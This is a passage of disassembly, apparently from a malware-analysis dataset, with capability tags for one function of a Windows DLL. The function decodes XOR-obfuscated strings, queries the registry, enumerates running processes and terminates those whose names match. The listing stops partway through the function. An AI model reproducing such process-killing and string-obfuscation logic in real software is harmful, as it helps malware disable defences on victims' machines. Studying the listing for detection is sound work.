Function at 0x180023c70
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6a8]
sub rsp, 0x768
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor r13d, r13d
mov dword [rbp + 0x6b0], r13d
mov qword [rbp + 0x6c0], r13
movups xmm0, xmmword [str.jU_HJ_M_]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x180183550]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x180183560]
movsd qword [rbp + 0x88], xmm0
movzx eax, word [0x180183568]
mov word [rbp + 0x90], ax
mov r8d, r13d
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x180023e09
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp + 0x68]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180023d12
cmp r8d, 0x15
jge 0x180023e57
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x180023e20
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x20], rax
mov r15d, 1
mov r9d, r15d
xor r8d, r8d
lea rdx, [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180023e96
mov rcx, qword [rbp + 0x6c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1800268e8
mov eax, 0x22
mov word [rbp + 0x430], ax
mov dword [rbp + 0x6b8], 0x206
movups xmm0, xmmword [str.jN_PG_A]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x1801835a8]
mov ecx, 0x53
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x3a
xor word [rsp + 0x44], 0x3b
xor word [rsp + 0x46], 0x3c
xor word [rsp + 0x48], 0x3d
xor word [rsp + 0x4a], 0x3e
xor word [rsp + 0x4c], 0x3f
xor word [rsp + 0x4e], 0x40
xor ax, 0x41
mov word [rsp + 0x50], ax
lea rax, [rbp + 0x6b8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x432]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x6c0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x6c0]
test eax, eax
jne 0x180023e8b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
lea rax, [rbp + 0x430]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x180023f70
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xb8]
call fcn.180008fd0
nop
mov r8, r15
lea rdx, [0x18014065c]
lea rcx, [rbp + 0xb8]
call fcn.18000a800
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r14d, 8
mov rdx, qword [rbp + 0xd0]
cmp rdx, 7
jbe 0x180024015
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b82
call fcn.1800d9c4c
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], 7
mov word [rbp + 0xb8], r13w
mov esi, reloc.WS2_32.dll_WSAStartup
movups xmm7, xmmword [0x180183508]
movups xmmword [rsp + 0x40], xmm7
pextrw eax, xmm7, 7
test ax, ax
je 0x180024187
cmp r12d, 2
jl 0x180024146
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187510]
movdqa xmm2, xmmword [0x1801873c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [0x180187400]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x48]
xorps xmm3, xmm0
movq qword [rsp + 0x48], xmm3
jmp 0x180024187
lea r9, [rsp + 0x40]
mov r8d, r13d
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x180024150
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x40]
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1800241a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x18002448e
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181fb8]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024254
mov r8, rdi
lea rdx, [0x180181fb4]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b88
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181fa8]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180024447
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800242c0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180024313
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180024321
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180024346
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18002434f
add rax, 2
sub rcx, 1
jne 0x180024333
cmp r9, r10
jae 0x180024357
mov ebx, edi
jmp 0x18002435d
mov ebx, r15d
cmovb ebx, edi
jmp 0x18002435d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002439d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b8e
call fcn.1800d9c4c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1800243ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800243e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b94
call fcn.1800d9c4c
test ebx, ebx
je 0x18002440c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800242a0
jmp 0x180024447
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18002443d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180024489
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024484
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b9a
call fcn.1800d9c4c
mov esi, reloc.WS2_32.dll_WSAStartup
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x1800244ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800244c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c24
call fcn.1800d9c4c
movups xmm0, xmmword [str.JN_P]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180183500]
mov dword [rsp + 0x50], eax
cmp word [0x180183502], 0
je 0x180024529
mov word [rsp + 0x40], si
xor word [rsp + 0x42], 0x3a
xor word [rsp + 0x44], 0x3b
xor word [rsp + 0x46], 0x3c
xor word [rsp + 0x48], 0x3d
xor word [rsp + 0x4a], 0x3e
xor word [rsp + 0x4c], 0x3f
xor word [rsp + 0x4e], 0x40
xor word [rsp + 0x50], 0x41
xor word [rsp + 0x52], 0x42
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x180024540
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x18002482a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181fb8]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x1800245f4
mov r8, rdi
lea rdx, [0x180181fb4]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026ba0
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181fa8]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800247e7
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024660
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1800246b3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x1800246c1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x1800246e6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x1800246ef
add rax, 2
sub rcx, 1
jne 0x1800246d3
cmp r9, r10
jae 0x1800246f7
mov ebx, edi
jmp 0x1800246fd
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800246fd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002473d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024738
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026ba6
call fcn.1800d9c4c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002478e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bac
call fcn.1800d9c4c
test ebx, ebx
je 0x1800247ac
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024640
jmp 0x1800247e7
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800247dd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18002482a
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024824
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bb2
call fcn.1800d9c4c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x18002486a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c24
call fcn.1800d9c4c
movups xmm0, xmmword [0x180183570]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180183580]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180183590]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1800249b7
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1800248c0
cmp r8d, 0x11
jge 0x180024a07
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x1800249d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024a20
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x180024d0a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181fb8]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024ad3
mov r8, rdi
lea rdx, [0x180181fb4]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026bb8
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181fa8]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180024cc7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024b40
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180024b93
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180024ba1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180024bc6
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x180024bcf
add rax, 2
sub rcx, 1
jne 0x180024bb3
cmp r9, r10
jae 0x180024bd7
mov ebx, edi
jmp 0x180024bdd
mov ebx, r15d
cmovb ebx, edi
jmp 0x180024bdd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180024c1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024c18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bbe
call fcn.1800d9c4c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x180024c6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024c69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc4
call fcn.1800d9c4c
test ebx, ebx
je 0x180024c8c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024b20
jmp 0x180024cc7
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180024cbd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180024d0a
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024d04
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bca
call fcn.1800d9c4c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180024d4a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024d45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c24
call fcn.1800d9c4c
movups xmm0, xmmword [0x180183518]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x180183528]
movups xmmword [rbp + 0x78], xmm1
mov eax, dword [0x180183538]
mov dword [rbp + 0x88], eax
movzx eax, word [0x18018353c]
mov word [rbp + 0x8c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180024ea7
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp + 0x68]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180024db0
cmp r8d, 0x13
jge 0x180024ef7
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x180024ec0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
